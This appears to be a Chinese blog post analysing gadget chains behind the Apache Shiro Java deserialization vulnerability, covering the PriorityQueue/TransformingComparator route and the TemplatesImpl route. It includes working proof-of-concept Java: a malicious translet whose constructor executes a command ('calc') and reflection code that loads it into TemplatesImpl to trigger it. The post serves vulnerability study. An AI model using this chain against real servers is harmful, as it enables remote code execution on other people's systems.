Shiro反序列化漏洞原理&代码分析(2)

寻找可readobject对象和链

transform链

这个对象是 PriorityQueue

造成RCE的原因是他的heapify方法 跟进看看

再调用siftDown方法 跟进看看

在comparator != null为true的情况下 调用 siftDownUsingComparator 再跟进看看

调用了comparator.compare()方法

如果前面comparator.compare的comparator是个TransformingComparator类那么就会进入这里调用this.transformer.transform(obj1),而在之前分析的cc1链中我们知道这个transform是可以调用任意类的任意方法导致RCE的,所以我们就需要构造一个合适的PriorityQueue类然后触发这个transform方法配合cc1链的链式调用进行RCE

这是第一种构造poc的链

TemplatesImpl链

这个TemplatesImpl类通常用于XSLT转换过程中,它可以通过Transformer对象加载XSLT文件并编译成一个Templates对象,然后使用这个Templates对象创建Transformer对象来执行具体的转换操作。通俗来讲就是只需要将自己创建的一个对象转换成字节码然后传给他,他就可以调用相应的方法创建该对象,类似反射。

那么如果这个类是个恶意类,有恶意的构造方法,当后面调用到transform的时候,就会创建这个类,再自动调用恶意构造方法就可以RCE了 来看看 这个操作具体是如何实现的

首先我们将一个对象转为字节码

ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("RCE");
byte[] bytes = ctClass.toBytecode();
System.out.println(bytes);

如图

然后创建对象TemplatesImpl 来将字节码转为 真正的对象 来看看他是如何创建对象的

TemplatesImpl类有一个newTransformer方法 里面调用了方法 getTransletInstance

当 _name == null 为真的时候直接return了 所以我们后期要给name赋值 然后调用 defineTransletClasses(_class肯定不为null)以及_class[_transletIndex].newInstance()即可实例化一个对象了 后面就不用管了

跟进defineTransletClasses 这里要求_bytecodes不能为空 否则抛出错误

首先创建一个类加载器loader,然后用类加载器的loader.defineClass方法,去加载字节码,将一个字节数组中的字节码转换成一个类对象 也就是RCE类

然后newInstance很明显就是实例化对象将RCE类实例化出一个对象,那么RCE类有一个恶意的构造方法,调用即可RCE了 可以看到这个类中执行了 Runtime.getRuntime().exec("calc");

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class RCE extends AbstractTranslet {

    public RCE() {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

我们试验一下 这个poc 借鉴了一位师傅的 记得导入 javassist

public class main {
    public static void main(String[] args) throws Exception {

        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("RCE");
        byte[] bytes = ctClass.toBytecode();
        System.out.println(bytes);

        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();

        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());

        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "ting");

        Method method = TemplatesImpl_instance.getClass().getDeclaredMethod("getTransletInstance");
        method.setAccessible(true);
        method.invoke(TemplatesImpl_instance);
        
    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值